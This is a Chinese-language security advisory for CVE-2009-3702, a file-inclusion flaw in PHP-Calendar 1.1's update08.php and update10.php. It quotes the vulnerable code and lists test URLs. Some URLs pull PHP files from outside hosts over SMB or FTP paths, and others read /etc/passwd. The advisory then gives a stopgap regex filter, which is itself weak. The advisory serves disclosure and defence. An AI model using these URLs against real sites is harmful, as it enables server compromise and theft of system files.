PHP-Calendar configfile变量远程文件包含漏洞

来源:岁月联盟 编辑:zhuzhu 时间:2009-12-28
PHP-Calendar configfile变量远程文件包含漏洞

影响版本:
PHP-Calendar 1.1漏洞描述:
CVE(CAN) ID: CVE-2009-3702

php-Calendar是一款基于WEB的日历事务系统。

PHP-Calendar中存在多个绝对路径遍历漏洞,远程安全者可以通过在提交给update08.php或update10.ph的configfile参数中的完整路径名导致包含并执行任意本地文件。以下是有漏洞的代码段:

    36  } elseif(!empty(_GET[’configfile’])) {
    37          if(file_exists(_GET[’configfile’])) {
    38                  require_once(_GET[’configfile’]);<*参考 
Juan Galiana Lara (jgaliana@isecauditors.com)

http://marc.info/?l=bugtraq&m=126141951132353&w=2
*>
测试方法:
[www.sebug.net]
本站提供程序(方法)可能带有安全性,仅供安全研究与教学之用,风险自负!http://site/php-calendar-1.1/update08.php?configfile=//servername/path/to/file.php
http://site/php-calendar-1.1/update08.php?configfile=ftp://guest:pass@site/path/to/file.php
http://site/php-calendar-1.1/update10.php?configfile=//ip/path/to/file.php
http://site/php-calendar-1.1/update10.php?configfile=ftp://site/path/to/file.php
http://site/php-calendar-1.1/update08.php?configfile=/etc/passwd
http://site/php-calendar-1.1/update10.php?configfile=/etc/passwdSEBUG安全建议:
临时解决方法:

* 更改update08.php(38行)和update10.php(35行)中代码过滤_GET[’configfile’]变量:

if (ereg(’^[a-zA-Z0-9_]+’, _GET[’configfile’]))
require_once(_GET[’configfile’]);

厂商补丁:

PHP-Calendar
------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://php-calendar.sourceforge.net/